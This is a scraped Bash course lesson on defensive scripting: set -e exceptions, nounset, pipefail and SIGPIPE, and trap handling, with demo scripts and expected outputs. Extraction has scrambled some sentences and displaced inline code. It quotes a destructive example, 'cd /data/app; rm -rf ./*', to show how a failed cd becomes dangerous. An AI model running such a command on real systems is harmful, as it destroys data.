Visual: terminal runs
set -e; false; echo after, with no output and exit code 1.Narration: The promise of set -e is simple: an unchecked failure makes the script exit immediately.
set -e when it stops taking effect, then use trap, mktemp, flock, logging, retries and input validation to harden opsctl to v0.2set -e exceptions: while/until conditions,if/elif tests,&& / || commands other than the last in a list, commands other than the last in a pipeline (affected by pipefail),! negation; and that “a function called in an ignored context, and its whole body, -e is fully disabled”. Know that command substitution by default does not inherit errexit (inherit_errexit),local x=$(cmd) and swallows exit codes.set -u the behavior with unset variables,$1, associative-array missing keys, and empty arrays since Bash 4.4 "${a[@]}" no longer raise errors; understand pipefail the conflict with SIGPIPE (141).set -E), and DEBUG/RETURN need set -T; know that while Bash is waiting for a foreground command,it defers running signal traps, and background processes ignore SIGINT.mv” for atomic replacement.timeout to put time limits on external commands (meaning of 124/137).eval, command-substitution injection in arithmetic contexts, missing --, untrusted filenames, PATH hijacking, and treating config files as code source.log::*,util::retry, and add export,doctor two subcommands (reusing the v0.1 secure config parsing).| # | Time | Module | Core content | Animation / interaction | Lab (~/bashlab/ch04) |
|---|---|---|---|---|---|
| 0 | Before class | Prep: failure scenario scripts | Confirm the Bash version, set up the ch04 workspace, generate 12 “failure scenario scripts”, check opsctl v0.1 | Environment self-check list | make-scenarios.sh + run-all.sh |
| 1 | 00–06 | Strict mode: set -e, -u, -o pipefail | manual's exception list, command substitution and inherit_errexit,local swallowing exit codes,((i++)), empty arrays, SIGPIPE 141 | Core animation: set -e / pipefail scenario explorer + trap firing order | Run each scenario and predict the result |
| 2 | 06–13 | trap: EXIT, ERR, INT and cleanup | EXIT/ERR/INT/TERM/HUP,set -E/-T,BASH_COMMAND/FUNCNAME stack, signal deferral, SIGINT ignored in background, exit code preservation | Event → trap firing timeline | Write an ERR reporter with a call stack |
| 3 | 13–21 | Temporary files and directories: mktemp | mktemp/-d/-p/-t, permissions 600/700, races on predictable filenames, cleanup registry, atomic replacement | Cleanup strategy × exit method simulator | Atomic write + no leftovers after Ctrl-C |
| 4 | 21–28 | Concurrency and locking: flock and idempotence | flock -n/-w/-E/-o,exec {fd}>, lock release on fd close, mkdir locks, cron overlap, idempotent design | Two-process race timeline | Two terminals competing for the lock |
| 5 | 28–35 | Logging and observability: log functions | stdout for data, stderr for logs; levels, timestamps printf '%(...)T', colors and NO_COLOR, logger/journald | LOG_LEVEL filtering and routing | Implementation lib/log.sh |
| 6 | 35–42 | Retries, backoff and timeouts | exponential backoff, caps, full jitter, retryable/non-retryable errors,timeout -k, 124/137, functions cannot be timed out directly | Backoff curve + thundering-herd simulator | Implementation util::retry and verify with a flaky script |
| 7 | 42–50 | Security: injection, eval, glob | word splitting and globbing,--,./*,-print0, eval and printf %q, arithmetic injection, PATH, sourcing config | Input → argv injection demonstrator | Fix 5 snippets of vulnerable code |
| 8 | 50–60 | opsctl v0.2: defensive hardening | Full code and fault injection for bin/opsctl, lib/log.sh, lib/util.sh, cmd_export, cmd_doctor | opsctl execution flow + fault injection + troubleshooting tree | Full opsctl v0.2 lab |
| — | After class | Cheat sheet · Capstone lab | Rewrite a “fragile backup script” as a defensive script | Final quiz (12 questions) | Capstone lab |
| Target skill | M1 | M2 | M3 | M4 | M5 | M6 | M7 | M8 | Key commands / syntax | Lab |
|---|---|---|---|---|---|---|---|---|---|---|
| Determine whether set -e triggers | ✓ | ✓ | · | · | · | ✓ | · | ✓ | set -Eeuo pipefail,shopt -s inherit_errexit | Scenario script |
| Unset variables and empty arrays | ✓ | · | · | · | · | · | ✓ | ✓ | ${v:-},${v:?},[[ -v ]] | M1 |
| Pipe errors and PIPESTATUS | ✓ | · | · | · | ✓ | · | · | · | pipefail,${PIPESTATUS[@]} | M1 |
| trap cleanup and error reporting | ✓ | ✓ | ✓ | · | ✓ | · | · | ✓ | trap … EXIT ERR INT TERM,BASH_COMMAND | M2/M8 |
| Temporary files and atomic writes | · | ✓ | ✓ | ✓ | · | · | ✓ | ✓ | mktemp -d,mv -f | M3/M8 |
| Mutex locks and idempotence | · | · | · | ✓ | · | · | · | ✓ | flock -n,exec {fd}>> | M4/M8 |
| Structured logging | · | ✓ | · | · | ✓ | ✓ | · | ✓ | printf '%(%FT%T%z)T',>&2 | M5 |
| Retries, backoff, timeouts | · | · | · | · | · | ✓ | · | ✓ | timeout -k,$RANDOM | M6 |
| Injection and untrusted input | · | · | ✓ | · | · | · | ✓ | ✓ | --,printf %q,-print0 | M7 |
| Topic | Why not in this lesson | Where to learn |
|---|---|---|
| Systematic coverage of parameter expansion, quoting and arrays | Assumed known in this lesson; only the security implications are covered | Lesson 2 |
| Functions, local, nameref, library organization, opsctl v0.1 skeleton | This lesson hardens on top of v0.1 | Lesson 3 |
| Data processing with awk / find -print0 / xargs | This lesson uses only basic awk | Lesson 5 |
| Calling APIs with curl, health checks, atomic deployment switching and rollback | This lesson only writes util::retry, real use over HTTP comes in Lesson 6 | Lesson 6 (opsctl v0.3: health,backup,deploy) |
| ShellCheck, shfmt, bats tests, CI | Static checking and testing are separate topics | Lesson 7 (opsctl v1.0) |
| systemd service units, journald, cron basics | Belongs to Linux system administration | Linux 8 + 1 hour course |
| When not to use Bash any more (heavy state, complex concurrency, cross-platform) | Needs configuration management or a general-purpose language | Ansible course, Lesson 8 interview questions |
bash --version to double-check. macOS ships with Bash 3.2: no inherit_errexit (introduced in 4.4),{fd} automatic fd allocation (4.1),declare -A (4.0),${v@Q} (4.4),local -n (4.3), and empty arrays under set -u raise errors — install a newer Bash with Homebrew. Ubuntu 26.04 uses the Rust-implemented coreutils (uutils) by default,mktemp,timeout and a few options or error messages may differ from the GNU version; flock from util-linux, are not affected.~/bashlab/opsctl/ has opsctl v0.1 (tag v0.1.0: bin/opsctl,lib/log.sh,lib/util.sh,lib/config.sh,lib/cmd_servers.sh,lib/cmd_config.sh,etc/opsctl.conf). It is fine if you do not have it: the start of the Module 8 lab explains how to get this starting point directly from the Lesson 3 capstone.~/bashlab/make-data.sh,~/bashlab/data/servers.csv exists (header name,env,region,ip,role).linuxlab VM (Ubuntu 26.04), WSL2, macOS + brew install bash, or a container docker run --rm -it -v "$PWD":/work -w /work bash:5.3 (official bash image is based on Alpine/BusyBox,flock need apk add util-linux,timeout/mktemp is a BusyBox version).bash --version | head -1
echo "BASH_VERSINFO=${BASH_VERSINFO[*]}"
command -v flock mktemp timeout awk
shopt inherit_errexit
GNU bash, version 5.3.x(1)-release (x86_64-pc-linux-gnu) BASH_VERSINFO=5 3 x 1 release x86_64-pc-linux-gnu /usr/bin/flock /usr/bin/mktemp /usr/bin/timeout /usr/bin/awk inherit_errexit off
inherit_errexit Default is off; POSIX mode (set -o posix or starting as sh name) turns it on automatically. Seeing shopt: inherit_errexit: invalid shell option name means your Bash is older than 4.4 (macOS ships with 3.2). macOS does not have flock, you can brew install flock, or use the mkdir lock covered in Module 4.Many conclusions in this lesson are counterintuitive. We turn each one into a small script,predict first, then run. The generator below writes into ~/bashlab/ch04/scenarios/ 12 scripts; the last line of each script is echo "reached end"— if you see this line, it means set -e did not cause the script to exit.
#!/usr/bin/env bash
# Generate the Lesson 4 failure scenario scripts (writes only to ~/bashlab/ch04/scenarios)
set -euo pipefail
dir="$HOME/bashlab/ch04/scenarios"
mkdir -p -- "$dir"
mk() { # mk filename description <<'EOF' script body EOF
local name=$1 desc=$2
{ printf '#!/usr/bin/env bash\n# %s\nset -e\n' "$desc"; cat; printf 'echo "reached end"\n'; } >"$dir/$name"
chmod +x -- "$dir/$name"
}
mk s01-plain.sh "plain command failure" <<'EOF'
false
EOF
mk s02-if.sh "failure in an if condition" <<'EOF'
if false; then echo "then"; fi
EOF
mk s03-and-list.sh "&& list: the failing command is not the last one" <<'EOF'
false && echo "never"
EOF
mk s04-and-last.sh "&& list: the failing command is the last one" <<'EOF'
true && false
EOF
mk s05-pipe.sh "pipe: earlier stage fails" <<'EOF'
false | true
EOF
mk s06-pipefail.sh "pipe + pipefail" <<'EOF'
set -o pipefail
false | true
EOF
mk s07-local.sh "local swallows the exit code of command substitution" <<'EOF'
f() { local x=$(false); echo "in f, x='$x'"; }
f
EOF
mk s08-cmdsub.sh "command substitution does not inherit -e" <<'EOF'
echo "v=$(false; echo still-running)"
EOF
mk s09-func-if.sh "calling a function inside if" <<'EOF'
f() { false; echo "in f after false"; }
if f; then echo "f succeeded"; fi
EOF
mk s10-arith.sh "((i++)) when i=0" <<'EOF'
i=0
((i++))
EOF
mk s11-andand-last-line.sh "last line of function is [[ ]] && …" <<'EOF'
f() { [[ -n "" ]] && echo "non-empty"; }
f
EOF
mk s12-err-in-func.sh "ERR trap and functions (without -E)" <<'EOF'
trap 'echo "ERR trap: $BASH_COMMAND" >&2' ERR
f() { false; }
f
EOF
ls -1 -- "$dir"
#!/usr/bin/env bash
# Run each scenario, print output and exit code
cd -- "$HOME/bashlab/ch04/scenarios"
for s in ./s*.sh; do
out=$(bash "$s" 2>&1); rc=$?
printf '%-28s rc=%-3s %s\n' "${s#./}" "$rc" "${out//$'\n'/ | }"
done
mkdir -p ~/bashlab/ch04 && cd ~/bashlab/ch04 # After saving the two files above as make-scenarios.sh and run-all.sh: bash make-scenarios.sh bash run-all.sh
s01-plain.sh rc=1 s02-if.sh rc=0 reached end s03-and-list.sh rc=0 reached end s04-and-last.sh rc=1 s05-pipe.sh rc=0 reached end s06-pipefail.sh rc=1 s07-local.sh rc=0 in f, x='' | reached end s08-cmdsub.sh rc=0 v=still-running | reached end s09-func-if.sh rc=0 in f after false | f succeeded | reached end s10-arith.sh rc=1 s11-andand-last-line.sh rc=1 s12-err-in-func.sh rc=1
Note: in s12, the ERR trap by default is not inherited by functions; false when a command inside a function f fails,set -e causes the shell to exit immediately from within the function; there is no ERR trap inside the function, so it exits silently. Adding set -E (errtrace) makes it print ERR trap: false.
cd ~/bashlab/opsctl 2>/dev/null && ls -R bin lib etc || echo "no v0.1: see the start of the Module 8 lab" ~/bashlab/opsctl/bin/opsctl -V; echo "rc=$?" ~/bashlab/opsctl/bin/opsctl servers list --env prod
The Lesson 3 v0.1 convention: the entry point bin/opsctl (opsctl::main parses -c/-v/-h/-V,opsctl::load_command loads by name lib/cmd_<name>.sh and checks cmd::<name>), library functions module::function, configuration is lib/config.sh parsed against an allowlist etc/opsctl.conf, exit codes 0 success / 1 general error / 2 usage error / 3 missing dependency. This lesson does not change these conventions; it only hardens on top of them.
$? What is saved? The pipeline a | b | c 's $? status: whose is it?The exit status of the most recent foreground pipeline; by default it is the last command c 's exit code. Each stage's exit code is stored in the array PIPESTATUS .
126: command found but not executable (permissions); 127: command not found; 128+N: terminated by signal N — 130 = SIGINT (Ctrl-C), 137 = SIGKILL (9), 143 = SIGTERM (15).
echo "$x" and echo $x when x contains spaces and * what is the difference?Without quotes, what happens is word splitting and pathname expansion: * gets replaced with the names of files in the current directory. Quoted, it is passed through as a single argument. This is the topic of Module 7.
rm -rf, signals, concurrency locks and similar operations. All commands run only in ~/bashlab and mktemp the temporary directories created. Do not run the lab as root, and do not change the example paths to system directories.-e the definition and the 5 classes of exceptions, and explain the rule that “exceptions propagate into function bodies”.x=$(false),local x=$(false),echo "$(false)" give different results for these three, and know inherit_errexit what it does and does not cover.set -u handles $1, missing associative-array keys, and empty arrays, and can use ${v:-},${v:?msg},[[ -v name ]].pipefail the return-value rules of PIPESTATUS, and head/grep -q the false SIGPIPE (141) reports caused by&&/||, functions (Lessons 1–3). Importance:★★★★★ (almost every “silent script failure” incident is related to this)| Option | Long name | Manual definition (GNU Bash 5.3, verbatim) | In one sentence |
|---|---|---|---|
set -e | errexit | “Exit immediately if a pipeline (which may consist of a single simple command), a list, or a compound command returns a non-zero status.” | An unchecked failure makes the shell exit |
set -u | nounset | “Treat unset variables and parameters other than the special parameters ‘@’ and ‘*’, or array variables subscripted with ‘@’ or ‘*’, as an error when performing parameter expansion.” | Referencing an unset variable is an error |
set -o pipefail | pipefail | “If set, the return value of a pipeline is the value of the last (rightmost) command to exit with a non-zero status, or zero if all commands in the pipeline exit successfully.” | If any stage of a pipeline fails, the pipeline fails |
The manual goes on to say: “The shell does not exit if the command that fails is …”; the following cases do not cause exit:
| # | Manual text | Example | Why it is designed this way |
|---|---|---|---|
| 1 | “part of the command list immediately following a while or until reserved word” | while grep -q x f; do … | Loop conditions are meant to end on failure |
| 2 | “part of the test following the if or elif reserved words” | if cmd; then … | The failure is already checked by if |
| 3 | “part of any command executed in a && or || list except the command following the final && or ||” | false && x does not exit; true && false the shell exits | failures before it are “checked” by the list; the last one is not checked by anything |
| 4 | “any command in a pipeline but the last (subject to the state of the pipefail shell option)” | false | true | A pipeline's status by default only looks at the last stage |
| 5 | “if the command's return value is being inverted with !” | ! true also does not exit | a negated status counts as checked |
The manual has three equally important sentences:
-e was being ignored, the shell does not exit.” — for example { false; echo x; } && : in false does not make the shell exit.if f; then in f the function body of set -e is entirely disabled (scenario s09).-e while executing in a context where -e is ignored, that setting will not have any effect until the compound command or the command containing the function call completes.” — re-setting it inside the function set -e does not help either.| Form | Result (set -e on) | Reason |
|---|---|---|
x=$(false) | exits, exit code 1 | a simple assignment-only command has the status of its last command substitution |
local x=$(false) / declare / export / readonly | does not exit | local is a builtin that returns its own status (0); the command substitution's status is discarded |
echo "v=$(false; echo still)" | does not exit, prints v=still | The command substitution's subshell by default has turned off errexit; the outer echo succeeds |
Same as above, plus shopt -s inherit_errexit | does not exit, prints v= | the subshell inherits -e, and at false exits; but the outer echo still succeeds |
true "$(false)" | does not exit | when a command substitution is used as an argument, its status is overridden by the command's own status |
The manual on inherit_errexit — quoted: “If set, command substitution inherits the value of the errexit option, instead of unsetting it in the subshell environment. This option is enabled when POSIX mode is enabled.” (introduced in Bash 4.4). The correct approach is declare first, then assign: local x; x=$(cmd).
$1), missing keys in associative arrays (${m[nokey]}), out-of-bounds array elements (${a[0]} when the array is empty) all trigger “unbound variable”, and a non-interactive shell exits.$@,$* and "${a[@]}" are not affected. Since Bash 4.4, expanding an empty array "${a[@]}" under set -u no longer errors; on macOS Bash 3.2 it still errors, and the old workaround is ${a[@]+"${a[@]}"}.declare -a b,local x) are still treated as unset, but "${b[@]}" is an exception.${v:-default} (use the default when unset or empty),${v-} (replace with empty only when unset),${v:?error message} (required parameter),[[ -v name ]] / [[ -v m[key] ]] (test whether it is set).seq 1 100000 | head -n1: head reads a line and exits,seq keeps writing to a closed pipe, gets killed by SIGPIPE, exit code 128+13 = 141. With pipefail on, the whole pipeline returns 141 — if combined with set -e, the script exits on a “perfectly normal” operation. grep -q exiting on the first match has the same problem. Remedies: read all input before truncating (awk 'NR==1',sed -n 1p), write the producer's output to a variable or temporary file first, or explicitly handle pipelines known to be safe PIPESTATUS.
By default Bash keeps running after an error: cd /data/app; rm -rf ./* if cd fails,rm it runs in the current directory. Strict mode turns “keep going” into “fail early”; combined with a trap to report errors, it is not error handling in itself but a safety net with holes (the exceptions above), so critical steps must still be checked explicitly: cd -- "$dir" || util::die "…".
#!/usr/bin/env bash set -Eeuo pipefail # -E: ERR trap is inherited by functions, command substitutions and subshells (Module 2) shopt -s inherit_errexit # Bash ≥ 4.4 # Optional: IFS=$'\n\t' —— use only when you truly rely on “no splitting on spaces”; see the note below
Many articles also count IFS=$'\n\t' in “unofficial strict mode”. This course does not change IFS by default: it changes read -a,"$*" concatenation (joining with newlines) and similar behavior; the real defense is “always quote expansions and pass arguments as arrays” (Module 7).
~/.bashrc) — any failure closes the terminal.source should not set set -e, as it modifies the caller's shell options; the entry script should set them centrally.opsctl doctor): explicitly collect a failure count instead of relying on -e.| Bash + set -e | POSIX sh (dash) | Python | PowerShell | |
|---|---|---|---|---|
| Default behavior | keeps going after failure | keeps going after failure | errors propagate upward | non-fatal errors continue |
| “stop on error” | set -e (with exceptions) | set -e (pipefail has entered POSIX.1-2024, but whether dash and similar implementations support it depends on the version; check with set -o to verify) | default | $ErrorActionPreference='Stop' |
| catches | if/||, ERR trap | if/||, no ERR trap | try/except | try/catch |
| cleanup | trap … EXIT | trap … EXIT | finally/with | finally |
set -e makes the script stop running after an error” — see the exception list, and s09: when a function is called inside if/||/&& , the function body's -e is fully disabled. ② “inherit_errexit makes echo "$(false)" fail” — no, it only makes the command substitution exit early; the outer command's status is unchanged. ③ “set -u makes $@ error when empty” — no. ④ “pipefail only makes the script safer” — it also causes false 141 reports. ⑤ “((count++)) is just an increment” — when count is 0 the expression value is 0 and the status is 1, so under set -e the script exits; use ((++count)) or count=$((count + 1)).Choose a scenario and options, predict in your head whether it exits and what it prints, then click “▶ Run” or “Next” to step through line by line. The timeline below shows what happens after a failure: ERR trap → errexit exit → EXIT trap firing order. Each scenario's default combination has been verified on Bash 5.2.37.
| Form | Effect | Notes / version |
|---|---|---|
set -e / set -o errexit | unchecked failure causes exit | set +e off; $- contains e means enabled |
set -u / set -o nounset | unset variable is an error | Since Bash 4.4, empty arrays "${a[@]}" do not error |
set -o pipefail | pipeline value is the rightmost non-zero status | no short option; PIPESTATUS array stores each stage's status |
shopt -s inherit_errexit | command substitution inherits errexit | Bash 4.4+; automatically on in POSIX mode |
set -E / set -o errtrace | ERR trap inherited by functions, command substitutions and subshells | Module 2 |
set -o / shopt -p | list current options | shopt -po errexit nounset pipefail output in a re-executable form |
${v:-x} ${v-x} ${v:?msg} ${v:+x} | with default / required / replace if set | the colon form also treats an empty string as missing |
[[ -v name ]] [[ -v arr[key] ]] | test whether a variable / array element is set | Bash 4.2+ (associative-array key test 4.3+) |
set -euo pipefail echo "$-" # current single-letter options shopt -po errexit nounset pipefail # copy-pasteable form set +o pipefail; shopt -o pipefail # view a single option
ehuBc set -o errexit set -o nounset set -o pipefail pipefail off
false | true | (exit 3); echo "${PIPESTATUS[@]}"
set -o pipefail; false | (exit 3) | true; echo "rc=$?"
seq 1 100000 | head -n1; echo "rc=$? PIPESTATUS=${PIPESTATUS[*]}"
1 0 3 rc=3 1 rc=141 PIPESTATUS=141 0
Note:PIPESTATUS is overwritten after the next command runs, so you must immediately copy it: cmd1 | cmd2; ps=("${PIPESTATUS[@]}"). In the third command, 141 comes from the seq stage, caused by SIGPIPE; when the output is small, seq may finish writing before head closes the pipe, and then it is 0 0— this nondeterminism is exactly what makes it dangerous.
set -u
a=(); echo "n=${#a[@]}"; for x in "${a[@]}"; do echo "$x"; done; echo ok
echo "${NOPE:-default}" "[${NOPE-}]"
declare -A m=([a]=1); [[ -v m[b] ]] || echo "no key b"
echo "${m[b]}"
n=0 ok default [] no key b bash: line 5: m[b]: unbound variable
How to verify: On the macOS built-in /bin/bash (3.2), running line 2 will "${a[@]}" report “a[@]: unbound variable” at Exit code: On this machine's Bash 5.2.37, bash -c exiting due to unbound variable returns 127; do not rely on the specific number, only on “non-zero”.
cd ~/bashlab/ch04 && bash run-all.sh
Compare with the table from Module 0. For any mismatch, first check the Bash version (echo $BASH_VERSION).
cat > scenarios/s07-fixed.sh <<'EOF'
#!/usr/bin/env bash
set -e
f() { local x; x=$(false); echo "in f, x='$x'"; }
f
echo "reached end"
EOF
bash scenarios/s07-fixed.sh; echo "rc=$?"
rc=1
cat > scenarios/s09-fixed.sh <<'EOF'
#!/usr/bin/env bash
set -e
f() { false || return; echo "in f after false"; }
if f; then echo "f succeeded"; else echo "f failed rc=$?"; fi
echo "reached end"
EOF
bash scenarios/s09-fixed.sh
f failed rc=1 reached end
return Without arguments, it returns the status of the last command (here false).
# s10: ((i++)) has status 1 when i=0
i=0; ((++i)); echo "i=$i" # or i=$((i + 1))
# s11: the && list on the last line of a function determines the return value
f() { if [[ -n "" ]]; then echo "non-empty"; fi; } # status is 0 when the if condition is not met
f; echo "rc=$?"
i=1 rc=0
bash -c 'set -e; echo "v=$(false; echo still)"; echo after' bash -c 'set -e; shopt -s inherit_errexit; echo "v=$(false; echo still)"; echo after'
v=still after v= after
In line 2, the command substitution false exits early at , so it gets an empty string but the outer command keeps going; to make the outer command fail, you must assign first, then use: v=$(…); echo "v=$v".
bash -c 'set -eo pipefail; seq 1 200000 | head -n1; echo "survived"'; echo "rc=$?" bash -c 'set -eo pipefail; seq 1 200000 | awk "NR==1"; echo "survived"'; echo "rc=$?"
1 rc=141 1 survived rc=0
Problem: Nightly script if backup_db; then prune_old; fi,backup_db inside pg_dump … > file fails because the disk is full, but the function's last line echo "backup done" succeeds,if so it is judged successful,prune_old and all old backups were deleted. Fix: When the function is called in a condition context, -e set -e is disabled (per the manual); instead, check each step inside the function || return, and before pruning verify the backup file size and pg_restore --list. Limitation: cannot rely on re-setting set -e.
local make a failed key fetch turn into an empty stringProblem:local token=$(vault read -field=token …) When Vault is unreachable it returns an empty string; later curl calls the API with an empty token, gets a 401, and troubleshooting wrongly assumes a permissions problem. Fix:local token; token=$(vault …) and use : "${token:?token is empty}" assertion. ShellCheck's SC2155 flags this problem (Lesson 7).
Problem:kubectl get pods | grep -q Running Occasionally returns 141 when there are many pods. Fix: change it to kubectl get pods -o name --field-selector=status.phase=Running | awk 'END{exit NR==0}', or out=$(kubectl get pods); grep -q Running <<<"$out". Limitation: For large output, use a temporary file instead (Module 3).
Cause:set -u under set -u, it references a positional parameter that was not passed $1.
Fix: for required parameters, use ${1:?usage: script NAME}; for optional parameters, use ${1:-}; first check (( $# >= 1 )).
Cause: In Bash 3.2 / 4.3 and earlier, the expansion of an empty array "${arr[@]}" under set -u raises an error.
bash --version; which -a bash
Fix: use Homebrew's Bash (#!/usr/bin/env bash and put /opt/homebrew/bin in front of PATH); when you must stay compatible with older versions, write ${arr[@]+"${arr[@]}"}.
Cause: common with ((i++)) (when i is 0),grep no matches (status 1),[[ … ]] && … as the last line of a function,read reads EOF.
bash -x ./script.sh 2>&1 | tail -20 # see the last command executed trap 'echo "ERR $? at line $LINENO: $BASH_COMMAND" >&2' ERR # temporarily add at the top of the script
Fix:grep … || true (explicitly state that “no match is acceptable”); ((++i)); change && to if.
Cause: Bash is older than 4.4. Fix: Upgrade Bash, or do a version check at the top of the script (the opsctl v0.2 approach). Do not use 2>/dev/null || true silently ignore it — that would make you think it is enabled.
Cause: Without pipefail, the pipeline status only considers jq; when curl fails, jq may still read empty input and return 0.
Fix:set -o pipefail, and add curl -fsS (HTTP errors return non-zero); when you need to tell which stage failed, read PIPESTATUS.
shopt -po errexit nounset pipefail
tar czf - dir | ssh host 'cat > b.tgz' and print the exit codes of the two parts separately.tar czf - dir | ssh host 'cat > b.tgz'; ps=("${PIPESTATUS[@]}"); echo "tar=${ps[0]} ssh=${ps[1]}"set -euo pipefail at the top of the script, so check_disk || notify any failing command inside it will exit the script immediately.” Is he right?No. check_disk It sits on the left side of || list, a context where -e is ignored; according to the manual, all commands in the function body are unaffected by -e, so failures keep going and the function returns the status of the last command. If the last one is echo,notify never gets called. Inside the function, explicitly check critical commands with || return 1.
No English video verified via oEmbed that specifically explains set -e the exception rules; the manual and BashFAQ/105 are recommended as authoritative.
This courseware cannot generate video or MP3 directly; the storyboard and narration script are provided for a video tool.
set -e; false; echo after, with no output and exit code 1.if deploy; then, the deploy function body turns grey, and commands after the false inside it keep running.local x=$(false) and local x; x=$(false) compared, left side green pass, right side red exit.trap 'action' SIGSPEC…,trap -p,trap - SIG,trap '' SIG four usages, and the four pseudo-signals EXIT, ERR, DEBUG and RETURN.set -E), DEBUG/RETURN need set -T.trap is a builtin that registers, for the shell itself, a “command string to run when a signal is received or an event occurs”. Besides real signals (INT, TERM, HUP, QUIT, USR1…), Bash also supports 4 pseudo-signals:
| SIGSPEC | When it fires (manual text / key points) | Inherited by functions by default? |
|---|---|---|
EXIT (0) | “action is executed on exit from the shell” — whether it ends normally,exit N,set -e exits, or a trapped signal is turned into exit | applies only to the current shell; ( … ) and $( … ) is reset in subshells |
ERR | A pipeline / list / compound command returns non-zero (with exceptions identical to: set -e “The ERR trap is not executed if the failed command is part of the command list immediately following a while or until reserved word, part of the test in an if statement, …”) | No, requires set -E (errtrace) |
DEBUG | every simple command,for,case,select, arithmetic for before, and before the first command in a function | No, requires set -T (functrace) |
RETURN | every function or ./source run script finishes | No, requires set -T |
The manual on -E text: “If set, any trap on ERR is inherited by shell functions, command substitutions, and commands executed in a subshell environment.” On -T: “If set, any traps on DEBUG and RETURN are inherited by shell functions, command substitutions, and commands executed in a subshell environment.”
A script may exit from a dozen places: set -e,util::die, normal completion, Ctrl-C,kill. If you hand-write cleanup at every exit, you will eventually miss one. The right structure is: all exits eventually go through EXIT— the signal trap does one thing only: exit 128+N, then the EXIT trap deletes temporary files, releases locks, restores terminal state and prints a summary.
| Event | Firing order | Final exit code |
|---|---|---|
| Top-level command fails (set -e) | ERR → exit → EXIT ($? = 1) | status of the failing command |
Failure inside a function,no -E | (ERR does not fire) → exit → EXIT | Same as above, but no error report at all |
Failure inside a function, with -E, no -e | ERR inside the function → function returns 1 → at the call site ERR again ERR → keeps running | — |
Receives TERM; in the TERM trap exit 143 | TERM trap → EXIT ($? = 143) | 143 |
| Receives INT; in the INT trap no exit | INT trap → keeps running subsequent commands → EXIT on normal completion | 0 (the signal is “swallowed”) |
SIGKILL (kill -9) | nothing fires (KILL and STOP cannot be caught) | 137 |
wait a builtin wait receives a signal,wait it returns immediately with a status greater than 128, and the trap runs right away. So for long-running sleep scripts, write it as sleep 30 & wait $! to respond promptly kill. (Ctrl-C in a terminal is unaffected: SIGINT goes to the whole foreground process group,sleep so the wait itself is also interrupted.)& ignore SIGINT and SIGQUIT; and “Signals ignored upon entry to the shell cannot be trapped or reset” (manual text, non-interactive shell). Therefore testing a background script's INT trap with kill -INT gets no response at all — test with TERM, or timeout -s INT.$? (or exit N 's N); unless the trap calls exit M. In the first line of the EXIT trap, save local rc=$?, and at the end exit "$rc", which is both safe and clear.stty, send completion notifications.FUNCNAME/BASH_SOURCE/BASH_LINENO), do not do cleanup here (cleanup belongs only in EXIT, to avoid running it twice).exit 128+N. systemd sends SIGTERM by default when stopping a service, then waits TimeoutStopSec (90 seconds by default) before sending SIGKILL.set -x ), rarely used in production scripts.| Bash trap EXIT | Python | Go | systemd | |
|---|---|---|---|---|
| Cleanup | trap cleanup EXIT | try/finally,atexit | defer | ExecStopPost= |
| multiple cleanup actions | for the same signal only keeps the last trap set; you must maintain a cleanup list yourself | run in reverse registration order | LIFO | in order |
| SIGKILL | cannot handle | cannot handle | cannot handle | ExecStopPost still runs |
trap … EXIT again appends” — no, it is replacement; library functions should not set the EXIT trap directly, but register with the cleanup list (opsctl's util::cleanup_add). ② “It does not matter whether the trap uses single or double quotes” — double quotes expand variables at setting time; trap "rm -f $tmp" EXIT if set while tmp is not yet assigned, it becomes rm -f; prefer single quotes or call a function. ③ “The ERR trap can replace set -e” — no, ERR only reports and does not make the script exit. ④ “kill will immediately run the TERM trap” — if the script is waiting for a foreground command, it must wait until that finishes.Choose the script's settings and the event to occur, then click “▶ Play”. Each step indicates which trap,$? its value, and what determines the final exit code.
| Form | Effect | Notes |
|---|---|---|
trap 'cleanup' EXIT | Register EXIT handler | recommend single quotes + function name |
trap 'on_err' ERR + set -E | Error reporting | none -E when a failure occurs inside a function, it does not fire |
trap 'on_sig INT 130' INT | turns a signal into an exit | 130 = 128 + 2 |
trap -p / trap -p EXIT | print current traps | output in a re-executable form |
trap - EXIT | restore default | use at the start of an EXIT handler to prevent re-entry |
trap '' INT | ignore a signal | child processes also inherit the “ignored” state |
trap -l / kill -l | list signal names and numbers | |
caller [n] | print the caller's line number, function and file | can be printed level by level in the ERR handler |
| Variable | Meaning |
|---|---|
$BASH_COMMAND | text of the command being executed (or that just failed) |
$LINENO | current line number (inside the trap string, the line where the trap fired) |
${FUNCNAME[@]} | call-stack function names,[0] where the first element is the current function and the last element is main |
${BASH_SOURCE[@]} | source files corresponding to FUNCNAME |
${BASH_LINENO[@]} | BASH_LINENO[i] is FUNCNAME[i] the call site (located in BASH_SOURCE[i+1] ) |
bash -c 'trap "echo bye" EXIT; trap -p EXIT'
bash -c 'trap "echo parent-exit" EXIT; ( echo in-sub ); x=$(echo cs); echo $x'
bash -c 'set -T; trap "echo RETURN from \${FUNCNAME[0]}" RETURN; f(){ :; }; f; echo end'
trap -- 'echo bye' EXIT bye in-sub cs parent-exit RETURN from f end
bash -c 'trap "echo cleanup" EXIT; exit 7'; echo "rc=$?" bash -c 'trap "false" EXIT; true'; echo "rc=$?" bash -c 'trap "exit 9" EXIT; exit 3'; echo "rc=$?"
cleanup rc=7 rc=0 rc=9
A failing last command in the EXIT trap does not change the exit code; only an explicit exit in the trap does so.
#!/usr/bin/env bash
# trap-demo.sh —— ERR call stack + EXIT cleanup + signal handling
set -Eeuo pipefail
on_err() {
local rc=$? i
echo "[ERR] exit code $rc, command: $BASH_COMMAND" >&2
for (( i = 1; i < ${#FUNCNAME[@]}; i++ )); do
echo "[ERR] at ${FUNCNAME[i]} (${BASH_SOURCE[i]##*/}:${BASH_LINENO[i-1]})" >&2
done
}
on_exit() {
local rc=$?
echo "[EXIT] cleaning up (exit code $rc)" >&2
}
on_signal() {
echo "[SIG] received $1" >&2
exit "$2"
}
trap on_err ERR
trap on_exit EXIT
trap 'on_signal INT 130' INT
trap 'on_signal TERM 143' TERM
step_download() { echo "downloading…"; }
step_verify() { echo "verifying…"; grep -q "^sha256:" /dev/null; }
main() {
step_download
step_verify
echo "done"
}
main "$@"
cd ~/bashlab/ch04 && bash trap-demo.sh; echo "rc=$?"
downloading… verifying… [ERR] exit code 1, command: grep -q "^sha256:" /dev/null [ERR] at step_verify (trap-demo.sh:26) [ERR] at main (trap-demo.sh:29) [ERR] at main (trap-demo.sh:32) [EXIT] cleaning up (exit code 1) rc=1
The stack shows two main: the first is the function we defined main function (called from line 29 via step_verify); the second is the name Bash reserves for the script's top level (line 32 calls main). opsctl v0.2 displays the bottom of the stack as <script>, and displays the v0.1 entry function as opsctl::main, so there is no more confusion.
